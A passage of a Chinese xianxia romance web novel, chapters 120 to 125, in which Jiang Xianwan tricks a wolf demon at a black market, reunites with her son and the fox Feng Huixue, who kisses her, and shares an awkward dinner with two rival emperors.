《小师妹解散了女主的后宫团》 第 120 章 师婶 随着妖帝一脉到来,魔域修士踏着烧到地平线的漫天晚霞,落在繁华的街道。 江献晚坐在高高的屋脊,望着各个身高体健的魔修,呼啦啦进了隔壁客栈。 紧接着,又是几声冲破云霄的凶唳啼鸣,狂风骤起,巨鹰展翅掀起一阵阵猛烈地罡风。 若不是凤仪剑尊挥出一道灵力,那群修为低弱,扒着门看热闹的弟子绝对能被呼啦啦扇飞。 面子好歹没丢。 三个胸襟佩戴有黑晶石徽章,黑袍加身,黑布裹脸的中年男子,严肃的落在地面。 当然,如果三个下来,没有你踹我一脚,我推你一下,他踩他衣裳,各个口中骂骂咧咧,还真就挺严肃的。 江献晚诧异扬眉。 “界域,三王。” 自三百年前大战过后,界域至今无皇,由三王共同掌管。 听说界域的修士都癫癫的,脑回路清奇,嘴还很碎,各个典型的有大病,逮谁咬谁,以三王最为严重。 雾渺不知何时坐到她的身边,一条长腿微微屈起,手里拎着玉制的酒壶。 江献晚看了他一眼,偏开视线。 雾渺见她样子,没好气地道:“死丫头,你这是什么嫌弃反应?” “雾掌门气度逼人,叫人不敢直视。” “允你直视。” “不必。” 雾渺:“……” 他指节摩挲着瓶身,沉默几许,“晚晚,你,见到他了吗?” 江献晚装迷,适当的露出疑惑的神色,“谁?” 雾渺抬指一戳她的脑门,“少给我装。” “你是不是知道他是谁了?” 江献晚重重拍开他的手,“不知道。” “你果然知道了。”雾渺深深看她一眼,“那你们有没有……遇到?” 当年他带着长剑去巫云殿,直到此刻仍清晰的记得小师叔微微恍惚的反应。 小师叔看着那把剑,不知想什么,过了很久很久才抬眸看他。 他担心小师叔的身体,江献晚前脚刚跑,后脚恰巧测出一个同是炉鼎的弟子,小心地将此事提出。 小师叔什么也没说。 他离开时忽觉灵力波动,回眸间,云阶月地的巫云殿转眼满目雪窖冰天。 北帝尊至此闭关。 他断断续续,没认真,也没停,寻了江献晚两载。 不是没想过她会去别的地方,可她走都走了,寻到了又能如何。 或者,离开是最好的结果。 后来林轻染下山做任务时,受了些伤,根基受创,修为倒退。 作为师尊,面对徒儿一再苦苦相求,他无法坐视不理,只好厚着脸皮求上巫云殿。 小师叔没给他帝休之果,前往南境向南帝尊寻灵泽之露。 他当时就觉得吃惊。 不是因为小师叔没给他帝休之果,而是因为他竟亲自前往南境。 一句话的事,为何踏出了巫云殿。 没多久,他就一头雾水进了寒潭受责。 太虚宗和秘境发生的事迹,随着裴长安归来,传到他的耳中。 愈发觉得不对。 小师叔从不过问宗门之事,哪怕是两境打起来,亦不会在他心中掀起任何波澜。 为何忽然命他入寒潭? 直到他被江献晚一门拍在脑袋上,一切才回过神。 雾渺想的有些头疼,更多的是惊悚,两眼死死盯她,恨不得看出花。 江献晚满不在乎地掏出一颗荔枝,咯嘣一咬,“说了。” 雾渺瞬间坐直,“说了什么?” “他想让我做你师婶。” “噗!”雾渺一口酒喷了出来,哪里还有半分北境第一宗掌门的端庄。 师婶!!! 神特么师婶! 江献晚斜他一眼,嫌弃地用灵力拂去衣袖上的酒渍。 雾渺忽然一躺,像是没有呼吸的干尸,“我竟然信了。” 他不带任何语气,平稳而机械,像是死了,“那你答应了吗?” 小师叔果然动情了。 原来,那日小师叔似乎正准备离开巫云殿,看了他半晌,才答应他灵泽之露只是可有可无。 其实是要去寻江献晚。 不是。 他以后要对着江献晚行礼喊师婶了?! 雾渺眼珠子都不会转了,神色一言难尽,俊美的面庞也跟着扭曲。 江献晚安慰地拍拍他的肩,“别害怕,为了不让雾掌门对着我低头行礼,我也得拒绝啊。” 雾渺:“……”你能不能严肃点。 他声音冷静的可怕,带着三分绝望,三分惊悚,四分不可置信,“你真拒绝了?” 她拒绝了? 北帝尊! 那可是北帝尊啊! 天上月,雪下花,无人敢肖想染指的帝尊啊! 她不知道与北帝尊结为道侣意味着什么吗? 与南帝尊,妖帝魔皇都可以平起平坐。 就连他,也得恭敬地揖手行礼,喊一声帝后或是小师婶。 多酷啊! 她脑袋是被门夹了八百遍吗! 雾渺觉得这一刻,他好想死了。 江献晚拍拍衣裙起身,回身间,青衣宛如乍开的海浪,裙角曳着晚霞余晖,灼灼其华。 下巴轻抬,何其倨傲。 “北帝尊固然尊贵无双,我江献晚亦是这世间独一无二。” 总有一天,不止北帝尊,所有人,皆在她脚下! 江献晚丢下这么一句,走的利落干脆。 她轻车熟路拐进一条小巷,确定没有什么尾巴。 趁着四下无人,将乌发高束,扎成马尾,面具一戴,迅速换了身男款黑袍。 这时的繁华郡可谓是鱼蛇混杂,大能云集,她不敢和风回雪偷摸在客栈相见。 可儿子就在眼前,摸不到亲不到的滋味太难受。 便约在了黑市。 江献晚想了想,忍着尴尬,从芥子囊掏出一条猫尾巴系在腰间,拨弄出一截。 这尾巴刻有遮掩气息的阵法,别人看见,哪怕用修为探查也只会认为她是个猫妖。 江献晚穿墙而过,快步往密集处走,连路过的长着各种漂亮耳朵尾巴的妖都看不进去,径直来到一处斗殴场地。 斗殴场露天,中间巨大的圆型擂台,环形看台层层递上。 江献晚一眼便看到了风回雪和江行行。 因为,这父子二人根本没戴面具! 绯色洒金雾纱格外扎眼,与周围从头黑到尾的众修格格不入。 一大一小,就那么大大咧咧地往那一坐。 除了风回雪隔了两个壁,坐着一个咬牙切齿地少年,周围空出一片。 第 121 章 看好我 也是,带着一个两岁儿子的还能有谁,动动脚趾头就能知道。 她瞥过眼睛齐刷刷一亮,先是瞅她尾巴,而后又装模作样,努力将她当成陌生人的两父子,很快被擂台上的身影吸引了目光。 唇角顿时一抽。 那打擂台的妖族少年,不是跟在狼太灰身边的那只豹妖吗? 油亮而斑斓的长尾巴,狂妄不羁地背影,哪怕脸遮的只剩褐色的眼珠子。 江行行捂着嘴咳嗽了一声,江献晚往左一看,眉心跳动。 她默默掏出一把瓜子,在江行行后两排落座。 狼太灰正气的怒火中烧,“你这个死狐狸,一如既往的令人讨厌!” 风回雪舒舒服服躺进客栈,却命妖侍将他们几个丢了出去,还是当着南北两境的面! 简直跟把他的脸,他爹的脸,往地上踩没有任何区别! 狼太灰牙磨的咯吱作响,大有张嘴一口咬死他的冲动! 风回雪一条长腿搭在另一条腿上,一只手臂虚虚横在江行行身后的椅背。 “你一个被顺了芥子囊的大尾巴狼不早就被笑够了。” “你!”狼太灰气的胸膛剧烈起伏,怒指质问,“这个不说,那乾坤鼎是不是你让人偷的!” 风回雪诧异地侧眸,“你说我提前串通了一个人族去偷你?你长没长脑子?” 狼太灰气傻了,“谁不知道你风回雪最奸诈狡猾!你什么天打雷劈丧尽天良的事干不出来!” 江行行:“……”狐狸本来就狡猾啊,娘亲说过的。 江献晚咳嗽了一声:你丫九条尾巴的狐狸,让一条大尾巴狼骑头上了? 听到含着什么的咳声,风回雪唇角似乎抽搐了两下。 他斜睨向狼太灰,狐狸眸微眯,声音冷漠,带着不容置疑的寒意,气势陡然一变,威压狠狠朝着狼太灰压了过去。 “给你脸了是吗?” 狼太灰屁股下的坐椅四分五裂,齑粉飘扬,险些一屁股蹲在地上。 他两只狼耳一抖,背上迅速冒出一层冷汗。 差点忘了,风回雪再没个正形,实力可是远远在他之上。 况且,妖帝的命保住了,又有大司命坐镇,也足以让天狼族一势忌惮。 狼太灰面色涨红,敢怒不敢言。 咬了咬后槽牙,夹着尾巴,灰溜溜的挪到八米开外,时不时阴毒而愤怒的瞪一眼风回雪。 江献晚正看的兀自摇头,一抹黑色的衣裙曳入眼帘。 身形窈窕的女修在风回雪旁边落座。 江献晚皱眉。 风回雪也皱眉。 江行行小脸紧皱,瘪着嘴埋进风回雪衣袖。 一家三口,全是被一再打扰的不悦和暴躁。 风回雪脸瞬间就绿了,差点没忍住一尾巴将她抽死,心里又狠狠记上一笔。 这天杀的克星,阴魂不散,就逮着他们一家三口霍霍? 一定距离内,系统可以监测到十八位美人图鉴的位置,林轻染决定再来碰一碰运气。 毕竟,谁会不喜欢一个地位尊贵,长相绝色的气运之子。 她笑的格外温柔,“我们又见面了。” 俗套的打招呼方式,差点没把一心只想着三口亲亲热热团圆的风回雪气死。 他强压下心底快要暴走的戾气,决定换个思路。 先是露出一个恰到好处的错愕,随后勾唇一笑,端的万种风情,魅惑无双。 “是你。” 半张面具下,林轻染眨眨眼,嗔道:“难得殿下还记得我。” “呵。”风回雪喉间溢出一声低笑,舒展大长腿,“姑娘当日送上灵泽之露,今日又特意前来见我,不知到底是何目的?” 他露出几分不悦而疏离的讥讽神色,意有所指。 磁性的嗓音压下去几分,却刚好能使竖着耳朵的狼太灰听到。 风回雪指尖一下没一下轻点膝头,尾音微微拖长,“万古宗该不是与天狼族,早已私下联手?” 林轻染并不意外被他查出,也不打算隐瞒身份,相反,还要解释。 她羞涩地垂眸,脖颈蔓延一层潮红,指尖揪了风回雪的衣袖。 “殿下想岔了,万古宗与天狼族并无干系,是,是我自己。” 望着袖上的指尖,风回雪浑身的汗毛一下子竖了起来。 他死死摁下把衣裳扒了的冲动,不着痕迹挪开衣袖,脸上的诧异不似作假。 “你自己?那你为何要不计回报,给我灵泽之露?” 林轻染神色有些受伤,睁眼说瞎话,“我曾与殿下有一面之缘,您不记得了吗?” 风回雪:“……不记得。” 这是对他一见钟情了? 他魅力真大啊。 于是,轻咳一声,向某个心大还在咔咔嗑瓜子的人炫耀。 看吧,我魅力老大了。 快,还不看好我! 江献晚无语。 林轻染失落地垂落一双睫毛,嗓音有几分受伤,“谁知殿下竟不信我。” 风回雪僵硬地扯了扯唇角,呵呵挤出一丝笑,“是我想岔了,竟拂了美人心意。” 一声美人,林轻染心花怒放,身子微微朝他侧倾,柔声道:“不怪殿下,实在是那天狼族卑鄙,那殿下现在信了吗?” 瞪着俩眼珠子,竖着耳朵偷听的狼太灰:“……” 天狼族卑鄙? 我一口尖牙咬不死你! 风回雪不动声色,余光扫过眼中喷火的狼太灰,薄唇轻勾,“现在信,不知晚否?” “殿下。”林轻染嗔看他一眼,“妖帝无事了吧?” “勉强。”风回雪八风不动,下意识压低声音,不敢让江献晚听到后半句,“寻了位炉鼎。” 无所谓,给妖帝抹点黑就抹点吧。 一句话,解了惑。 林轻染不再怀疑,毕竟,能得到灵泽之露或者帝休之果的,天方夜谭。 炉鼎是最简单粗暴的方式。 “那就好。” 她轻轻松了一口气,仿佛为风回雪担忧的不得了。 视线低垂,看向他身侧从头到尾,一言不发,埋着脸的小娃娃,“行行很可爱。” 风回雪不可置否。 用你说! 我生的,能不可爱吗! 江献晚没再继续听,因为,她忽然有了一个大胆的想法。 她朝着风回雪衣袖下,露出眼睛,张着小嘴巴无声喊娘亲的江行行,轻轻一眨眼,起身跟上狼太灰。 狼太灰无能狂怒,一拳干穿了一堵墙,正是失意时。 第 122 章 扔到后厨洗碗 江献晚瞅了瞅自己衣袍下的一截猫尾巴,压粗嗓子拦下旁边路过的妖。 “兄弟,你的尾巴可比我的好看多了。” “是吗?”孔雀妖高兴地晃了晃尾巴,再看她的,“你的也好看。” 江献晚得意洋洋地指指自己的尾巴,“还行吧,刚才有个人族两脚兽要给我五百灵石,说想摸一摸我的尾巴。” 远处又干穿一堵墙的狼太灰,瞬间支起了毛绒绒的耳朵。 “啊?”孔雀妖忙拉着她蹲下,“你碰见那个花钱摸妖尾巴的两脚兽了?” 江献晚配合的凑近他,“对啊!听说咱们上头那位大人正到处找她呢。” 又遗憾的振腕,“我本来还想多找几个妖一块来抓她,去领赏赐,谁知道一眨眼就给她跑了。” “不过,我见她去的方向是擂台,正打算过去碰碰运气,你去不?” 狼太灰又干穿一堵墙。 同时脑中灵光一现! 好哇! 刚才那个跟风回雪勾勾搭搭,眉来眼去的两脚兽,是不是就是那个花一百块灵石摸他尾巴的人族女修? 连灵泽之露都能给他搞来! 合着是故意偷他的芥子囊,想讨好风回雪? 他八千万灵石买的鼎! 狼太灰的心都在滴血,大步上前,一把拎起江献晚,急急道:“你说的那个女修,脸是不是有点圆?” 江献晚想了想自己当时被捏肿的一小片脸,再想想林轻染的鹅蛋脸,故作惊悚道:“她也花钱摸你尾巴了?” 还好这傻狼没注意到身高问题。 狼太灰:“……”摸她奶奶个腿!那个该死的两脚兽瞎了狗眼,根本看不上他高贵的尾巴! 顿时更气了,扔下江献晚,立刻转头去找风回雪质问。 没走太远,撞到抱着江行行从擂台场地出来的风回雪。 他一个箭步冲上去,攥紧拳头,低声怒吼:“还说你没拿,刚才那女的是不是把乾坤鼎给你了!” 风回雪眼眸深深。 那女的? 晚晚今日着的男裳,想到刚才被他打发走的林轻染,再想想尾随大尾巴狼离开的江献晚。 这是……他儿子娘又坑了傻狼什么? 被一再耽误三口团聚,好不容易甩掉林轻染,眼看江献晚近在咫尺,摸不到碰不到,风回雪正是抓心挠肺烦躁不已,呵呵冷笑,“别到处攀咬,爷我可没见过什么破鼎。” “没见?”狼太灰一锤干碎旁边的大树,根本不信,“她为了讨好你,连灵泽之露都给你弄来了!乾坤鼎会不给你?” 这死狐狸凭借着一张脸,勾勾手指头就有无数的妖,心甘情愿拜倒在他的衣袍之下。 风回雪不耐烦,“她偷的,你不去找她,追着我咬,脑子里装的都是屎吗?” 而后像是忽然想起什么,神色变得古怪且幸灾乐祸,故意曲解,坐实这个误会。 “她方才倒是给了我一个芥子囊,不过我没要。” 林轻染的确给了他一个东西,只不过是灵泽之露,他也确实没要。 所以,他多么的诚实啊。 “没要?”狼太灰两只眼珠子死死盯着他,后者一脸不耐的嫌弃加嘲讽。 他气的拳头哆嗦,怒吼,“你为什么不要!” 要过来,给他啊! 狼太灰通过他的表情,俨然信了。 骚狐狸眼高于顶,定然是看不上那个女修才不屑要的! 风回雪用看傻子的眼神看他,“爷什么好东西没有,我要她东西作甚?” 要也只要江献晚的啊! “你,想让我要?” “……”狼太灰表情很是难以下咽。 他想个屁! 许久,喘着粗气,“她叫什么!” 等他找到她,不撕了她的皮,他名字倒过来写! “无、可、奉、告。” 狼太灰望着摇曳生姿,翩翩离开的风回雪,一拳干碎一棵树。 “草!” 好啊,不要脸的狗男女! 随着树木倒地,木屑飘扬,黑市的管理者带着两个小弟不紧不慢赶来。 “你砸碎了四面墙,六棵树,共计十万极品灵石!” “十万!”狼太灰不可置信地瞪大眼睛,“这破墙破树值十万?!你怎么不去抢!” “这不就是在抢!” 狼太灰怒极反笑,“要钱没有!” 黑市管理者冷冷一笑,一挥手,“带走!把他扔到后厨洗碗!” 狼太灰:“……” 蹲在树下嗑瓜子的江献晚笑傻了,她一拍大腿,一条手臂悄无声息压上她的肩,“这么开心?” 江献晚:“……现在不开心。” “为什么?”少年蹲在她身边,顺手抓走一把她手里的瓜子。 江献晚默默挪开一些,“看见你倒胃口。” 少年跟着挪过去,“那正好,就当减肥。” 江献晚沉默了一会儿,“我不肥。” 少年眸子微微一斜,讶异道:“不……肥吗?” 江献晚面无表情,反手一拳砸上他的眼眶,冷声吐他脸上,“滚,我对你不感兴趣。” 这他妈是林轻染周边吗? 怎么也阴魂不散的。 少年顶着黑眼圈,毫不在意的爬起来,甚至还很高兴。 真的,她力气超大的。 袖子香香的,手也香香的。 “没关系,我对你感兴趣就行了。” “呵呵。”江献晚冷笑,拔下脑袋上的簪子,“你的东西,拿走!” 这破簪子不知怎么回事,根本装不进芥子囊,整日插在她脑袋上。 晚上睡觉倒乖乖躺在枕头边,跟个人似的,一见她睡醒,就慢悠悠地飞过来,没少挨她的板砖。 “它不跟我啊。”少年似乎有些无奈,“这簪子与我心意相通,既然认定你,生是你的簪,死也跟你躺棺材板。” “自然,我也是。” 江献晚很少有气笑的时候,深吸一口气,决定讲讲道理。 “咱俩不合适。” 少年挨了她,星眸流转如滟澜,饶有兴趣,“哪里不合适?” “你是魔,我是人。” “互补。” “……你是男的,我也是男的。” 少年看了一眼她的胸,义正言辞,“世间自有真情在,管他公公或母母。” “我配不上你。” “没关系,我配你。” “我说谎了,其实我觉得是你配不上我。” “我觉得也是,不过,你勉强凑合一下吧。” 江献晚眯眸看他,少年一双灿若繁星的眸无辜而真情实感,还含着亮晶晶的希冀。 就很……搞笑。 “没得谈?” “没。” “你要做小妾?” “我会朝正房努力。” 第 123 章 就是忍不住了 “你要给我孩子做后爹?” “一送一,省得我生了。” 他还挺高兴,越说越开心,唇角都要笑出花来。 “什么时间见咱们孩子?” 江献晚:“……” 见你大爷! 她躲开少年来摸她尾巴的手,起身,瞪一眼飞来簪子。 少年没有跟上来,蹲在树下,双手捧脸,双眼着迷,见她回头,翘起唇角,雀跃地扬了扬手。 江献晚用力咬了一下牙,握着发痒的拳头走了。 她拐过三条街,确定没人注意,闪身钻进一个漆黑的小巷子。 还未站稳,便被一股力扯了过去,怀中同时多出个香香软软的小娃娃,紧紧搂上了她的脖颈,欢喜的蹭蹭贴贴。 “娘亲!娘亲!” “呜……行行好想您啊!” 江献晚霎时圆满了。 当然……忽略从身后死死环拥上她的两只手臂。 “死狐狸,你做什么,松……嗯……” 她声音猝然一止,被风回雪掰过来,连带着江行行一同被纳入胸膛,抵在墙壁。 随之,是兜头罩拢的宽大衣袍,暗下来的光线。 江行行睁大眼,忙捂紧嘴巴,笑的像只偷腥的小猫儿,悄悄在他爹娘身上来回瞅,眼中还有对他爹的担忧和赞叹。 爹爹真勇敢。 娘亲应该会扒了爹的狐狸皮吧? 江献晚显然愣了,还没从突然被亲密抱住的震惊中回过神,滚烫而急促的呼吸,密密匝匝,扑面而来。 她错愕的望着低头紧紧绞着她,眸子似燃起两团暴跳火光的狐狸,“风回雪……你……唔!” “儿子,闭眼。” “耳朵也捂上。” 风回雪声线低哑,忽然说了这么几个字。 在江行行两只小手猛地捂上耳朵,闭紧眼睛,江献晚双眸骇然睁大,表情一瞬坍塌,再压不住埋藏已久的心意和淹死人的醋意,一鼓作气,恶狠狠地堵上了那双开开合合的唇,顺便堵了她的话。 他受不了了。 他快要疯了。 他等不得了。 他想要名分。 想要江献晚。 想与她日日在一起。 他想的还有很多很多…… 全是关于江献晚的。 江献晚要扒他一身狐狸皮,那就扒好了。 他就算死的骨头渣都不剩,也不改。 江献晚懵了,腰肢被大力禁锢着,后脑勺垫着一只滚烫的手掌,迫使她不得不仰颈。 风回雪的吻来的太凶太窒息太突然,笨拙,不得章法,凶巴巴的大狗似的,连啃带咬。 啃的人毫无招架之力,也不给人喘息的机会。 江献晚陷入巨大的茫然和惊悚,思绪却不合时宜的歪了一下。 有种……被饿狗叼着狂啃的错觉。 加上她还有些懵逼。 好好的狐狸,怎么突然就疯了? 江献晚努力打量他的表情,这么一看,反倒把自己看不会了。 她从那双炽烫又含着醋意的狐狸眸中,看到自己算得上无措的表情,还有悄然泛红的面颊。 一时不知先该去慌张江行行会不会听到不该听的声音,还是该出手打醒这个突然抽风的狐狸。 然而,风回雪的眼睛又仿佛很固执。 固执的……要将她吞吃一般。 不再掩饰,让人又气又好笑的小心翼翼,和又争又抢,想要还要的理直气壮。 那双因情绪太过起伏,眼底泛红的可怜巴巴的狐狸眸,此刻神情专注,睫毛一颤一颤,如缭乱迷蒙的春草一般。 丝绸般的墨发间,耳垂洇出媚色的潮红,浑如吹皱一池春水,滟色横压,惑人心神。 江献晚只看着,诡异地,生不出一丝推他的念头。 死狐狸,果然喜欢她。 风回雪绷的很紧,生涩莽撞的吻愈发磕磕绊绊,生怕会从江献晚眼中看到一丝厌恶和抵触。 他又怕又慌的亲了一会儿,狐狸心渐渐沉落谷底。 开始后悔自己的冲动吓到江献晚,惹她讨厌,江献晚却……忽然拿眼睛努力一瞪他。 风回雪:“……” 他茫然恍惚了一瞬。 顷刻后,一双轮廓滟美的狐狸眸宛如落入万千盏明火,心跳声像是云翳下沉闷的惊雷,让他战栗起来! 甚至觉得每一寸皮肤都在这一刻开始熊熊燃烧,肉身理智皆化作焦炭,神魂浮在半空中,超脱肉身,一下子就轻了。 两只雪白的狐耳情难自禁,轻轻抖动着从墨发间蹦了出来,像是两枚嫩嫩的花苞,连颤带晃。 一条两手堪堪合抱,足有半人高的尾巴,急不可耐攀缠上那截纤细的小腿,尾巴尖越收越紧。 “晚晚……” 狐狸嗓音似喜中含泪,又哭又笑的模样,实在矛盾。 江献晚看的又是一愣。 愣罢,敏锐察觉到一种更恐怖的危险,开始挣扎,试图吸入一点微薄的空气。 但…… 初次沾染情爱,剖露心迹的狐狸,接受到江献晚犹豫过后默认的信号,心头的巨大狂喜将仅剩的克制碾的烟消云散,渣都不剩。 他叼着那双唇大肆征伐,猴急猴急的又放出一条大尾巴裹了她的腰,禁锢在方寸之地。 “晚晚……” 狐狸终于疯了,简直在刀锋上行走,亲的怀中人泪盈于睫,胡乱的呜呜。 江献晚觉得自己要被活生生亲死了,空气如抽丝,迅速离她远去。 怀中是江行行,后面是墙壁,试图偏头,被风回雪擒了脖儿。 动手……又舍不得。 随着口中最后一点氧气消失殆尽,江献晚心情从刚开始的震惊,又气又好笑,到现在的投降和剧烈挣扎。 “唔……风……” 她逃不开,腾出一只手,努力捉住了他一只柔软的狐耳,十指虚软,力度很轻,扯住烈马的缰绳,终于拉回了疯狐狸的理智。 就在她快要窒息而亡,风回雪重重啃了一下她的唇,短暂的结束这个吻。 江行行被他火急火燎从两人怀中撸下来,乖乖蹲下身子,蹲在他俩脚边,小脸埋在袍角下,小手仍紧紧捂着耳朵,把自己当成小蘑菇。 “晚晚……” “我好像不行了……” 他鬓角微湿,眼底痛苦又欢愉的春情在眼角洇出一痕桃花色。 可怜而压抑的声线,饱含不知如何是好的狂喜,和令人心惊的爱意和欲念。 江献晚听的两条腿开始抖,推着他就想逃。 还没偏开头,被风回雪拿尾巴固定了腰肢,十指相扣,抵回墙壁。 她不知时间到底过了多久,涣散的眸子勉强看到风回雪心虚地将江行行搁在她膝头,慌手慌脚来顺她的脊背。 江献晚显然吃了一遭苦,在他臂弯里蜷成一团,黑发如瀑,有些凌乱,侧颈晕红,轻轻发着抖。 哪里有力气与狐狸生气,抬起虚软的手指,努力抱住了江行行。 江行行捏着衣袖小心的去擦她眼角沁出来的泪珠,忍不住气鼓鼓的指责他爹,“爹爹,您欺负娘亲,行行要生气了!” 风回雪用指尖轻轻沾去江献晚唇角的湿意,心虚的不行。 可江献晚和江行行都在他怀中,像是抱着全世界,心潮澎湃,浮浮沉沉,如何能平静。 又忍不住甜蜜的捉了江献晚的手指,亲了又亲。 “晚晚……” “我,我忍不住……” “谁让你在外面给我招惹来一堆野男人,方才我都看到了!” 江行行:“……”他爹在他娘走后,二话不说,上去给人捶了一只黑眼圈,还骂人家小贱人。 风回雪狐耳直抖,“我不管,我就亲。” “这次敢,下次还敢。” “就是忍不住了。” “你别想不要我。” “否则……否则我就咬死你!” 他还挺委屈。 江献晚就坐在他腿上,当然知道他一点都忍不住,气的揪了他两只狐耳,“先放我下来。” 最终,在江行行托着小脸,忧愁的注视下,他娘骑着他爹暴揍了一顿。 第 124 章 抓包 江献晚脚步虚软,逃回客栈,一脚踉跄跌进房间,皮便不由自主……刷地绷紧了。 灯影烛火中,两个如花似玉的帝尊,各自捏着一颗棋子,朝她望来。 眼巴巴的视线在触及到那双嫣红破皮的唇瓣,双双愕然一僵。 江献晚:“……” 她一只脚还卡在门槛处,顶着两道说不清道不明的眸光,头皮发麻,不知该不该进。 两个帝尊怔怔地望了她片刻,恍惚而默契的缓缓垂眸看棋盘。 躺在桌案上睡的死去活来的鱼小白听到动静,一个鲤鱼打挺,一头扎进江献晚怀中。 边用鱼尾甩她,哭的稀里哗啦,鱼泪两行,“你为什么不给鱼回信息!为什么!你这个坏女人!” “你知道鱼多想你吗!知不知道鱼等你等了很久!” “你又去哪了!为什么这么晚才回来!” “呜呜……鱼要创死你!” 江献晚:“……没看到。” 这鱼就是个碎嘴子,一天能用帝隐的玉简给她发一千条信息! 从早到晚,再到天亮,气都不带喘。 一人一鱼加起来,就跟刷屏似的,玉简天天都能卡出花。 她一边给鱼抹泪,一边摸鱼小角安慰,若无其事,对云为泽道:“您不是不来吗?” 云为泽轻轻抬眸,掠过她的唇瓣,和颈侧乌发间隐约的齿痕,又低头认真瞅棋盘,“想走走。” 他说罢,自己反而一僵。 不仅是为自己压抑的声音。 还为这个如此熟悉的,蹩脚的理由…… 他前脚刚到,来寻江献晚,就很缘分的碰到同样刚到,来敲江献晚房门的帝隐。 他们俩站在江献晚门外大眼瞪小眼,恰逢有几个弟子从楼下上来,两人想都没想,一个反射,一人推开半扇门,闪身躲进了江献晚的房间。 谁知那几个弟子就站在走廊中热烈的交谈开了。 他俩在黑暗中沉默了好一会儿。 于是……就有了现在这一幕。 帝隐似乎对两人熟稔的一来一往并无察觉,更似看不到江献晚刚刚经历过一场激烈情事般的模样。 他眉眼沉静,气质仍清冽如雪,不露半分异色,默默起身,打开手边搁置已久的木食盒。 再看江献晚时,唇角是不怎么熟练的浅浅弧度,嗓音也似雪中透出一丝暖,“吃过饭了吗?” 江献晚:“……” 却见他在南帝尊犹豫着想要起身时,默默不知从哪里又添出一双筷子,“一起吧。” 说罢,轻声继续对江献晚道:“有你最喜欢的水晶虾饺。” 云为泽:“……” 江献晚:“……” 片刻后,三人围着一张桌子,在鱼瞪着俩眼珠子中,江献晚捏着筷子,望着两个帝尊和桌案上四菜一粥,不知从何处下手。 帝隐仿佛仍没觉得有任何不对,落座时,低垂眉眼,指尖勾了长及足踝的银发。 江献晚无奈,只好出手将缠在凳子腿上那缕银发轻扯回来,松松挽挽,同那漂亮的发落在他手肘处。 帝隐微怔,眼底一点一点跃出璀璨的色泽,雪白的颈子很快蒙上一层鲜润的血色,随即将一碗粥搁在她手边。 江献晚努力不看他,扫过四菜一粥。 水晶虾饺、醉蚌肉、爆炒春鹅、水木瓜、蹄子清羹,都是她喜欢吃的。 她神色有些复杂,丝毫不怀疑帝隐的厨艺。 只怀疑,帝隐明明亲眼瞧见她这副样子,还能如此,更不问。 反倒是像怕她有负担,强忍着眼底的落寞,视线收回的极快,添了一套酒盏,同南帝尊交谈,“请。” 云为泽:“……”好吧,北帝尊再怎么努力跟人交流,话还是少的笨拙。 或许也为了缓解自己的尴尬,又或者…… 他余光注意着偷偷瞄他们两个的江献晚,阖落半扇睫毛,随帝隐缓解气氛。 两个帝尊推杯换盏,谈起正事,还真有那味了。 江献晚见无人注意她,鱼在膝头拿尾巴催促,犹豫着端过粥吃了一口。 “今日他们已提前去过虚古境,你我,还……要不要去看看。” 云为泽强忍着缭乱的心绪,已经很努力在调节气氛了。 其实,徐燕洲和雾渺去过,用不到他们两个再去。 帝隐颔首,“可。” 云为泽:“……” 却听北帝尊主动道:“三域皆已落榻?” 云为泽:“……是。” 吃着明显北帝尊亲手做的菜,江献晚又在中间,又是一副不知被哪个男人啃过的模样,他这会心情,可谓是……分外不能平静。 还有……被帝隐看穿一切的心虚,和触及到江献晚唇瓣和颈侧红印的莫名酸胀。 江献晚有人了。 她好像真的没说谎。 以她的性子,愿意被啃成这样,可想而知,对方对她来说有多重要。 恐怕……真有六个。 云为泽心底不知其味。 落在江献晚眼中,两个帝尊一本正经,有来有回。 她看起来很镇定,努力盛出一大勺醉蚌肉放在自己面前的小碗中,吃完又去夹水晶虾饺。 那虾饺皮薄馅足,捏的可爱,江献晚夹了三下都没能夹起。 想要拿勺子去盛时,两双筷子忽然很是心有灵犀……同时伸到了她的碗中。 气氛随着两双僵住的筷子,一下子就凝固了,空气中迅速蔓延开一种格外诡异的气息。 帝隐:“……” 云为泽:“……” 江献晚:“……” 她盯着两双筷子上的虾饺,足足愣了十几秒。 原本粗暴又理直气壮,摁在角落里的心虚,刹那间破土而出,攀至顶峰! 她不可避免想到云为泽被她啃的眼角泛红,摸的浑身紧绷,衣裳凌乱,呼吸急促。 甚至回咬了她一下,几乎同她耳鬓厮磨般。 帝隐曾经又与她做尽了缠绵之事…… 方才她又与风回雪…… 怎么看,都是绝望。 江献晚绝望的闭了闭眼,多么希望所有的一切都是幻觉。 还要接受没脑子的鱼的好奇发问,“你嘴怎么破了?咦?脖子被什么东西咬的?” 江献晚捏紧筷子,慢慢绷紧脊背。 方才的无所谓,此刻成了……被抓包的痛感。 两个帝尊悬在小碗上空的手愈发僵硬,片刻后,默不作声将虾饺轻轻搁下。 帝隐依旧一无所觉似的,嗓音清冷如珠落玉盘,继续方才的话题。 云为泽遮住眼角失落的黯淡,低头翻弄碗中的食物,与他你来我往,一问一答。 直到根本没注意到修罗场,大脑比枣核小的鱼再次嘚吧嘚吧催促,江献晚才低下头,凶狠的将两个虾饺一起扒拉到口中,又淡定地去盛蚌肉。 鱼洋洋得意拱她,鱼嘴不带停的,“蚌肉好吃吗?鱼也抓了,是不是感受到了鱼满满的心意?” 帝隐:“……”他没用鱼抓的。 江献晚:“你躺下,才是心意。” 鱼小白拿脑袋创她,“你竟然要吃鱼!” 努力不看她的两个帝尊,看她放松下来,或许心梗到心死,几番心路历程起伏,话逐渐不知不觉多了起来,语气也不似方才僵硬。 甚至……破罐子破摔,渐渐随意的有些幼稚。 并歪的一言难尽。 “方才你棋差一招。” “否,我若再落下一颗,可分胜负。” “你说胜负便胜负?” “你不认?” “事实如此。” “云为泽。”北帝尊指尖轻点在旁边没收起来的棋盘某处,“看。” “……上局你输。” “这局我赢。” “不过平手。” “不。” “来?” “可。” 看着两个帝尊挪到她面前的四盘菜,江献晚:“……” 你俩加起来有八岁吗。 江献晚四盘菜一碗粥都吃完了,两个帝尊还在烛火下边饮酒,边沉浸式下棋。 她麻木着脸,抄起龙鲤,默默进了内室。 丝毫没注意到,一失魂落魄,一幽怨万分的眸光落在她身上。 第 125 章 他,是谁 第三日,两境三域修士奔赴虚古境入口。 众修放眼望向这片关闭已久的中州,除了隐约从参天入云的古树中眺望到十来座熠熠生辉的灵塔,和几处瞭望台。 一点残垣断壁都未曾留下。 最震撼的还是虚古境的天空。 阴沉,晦涩,连空气都还有些浅薄的古怪气味。 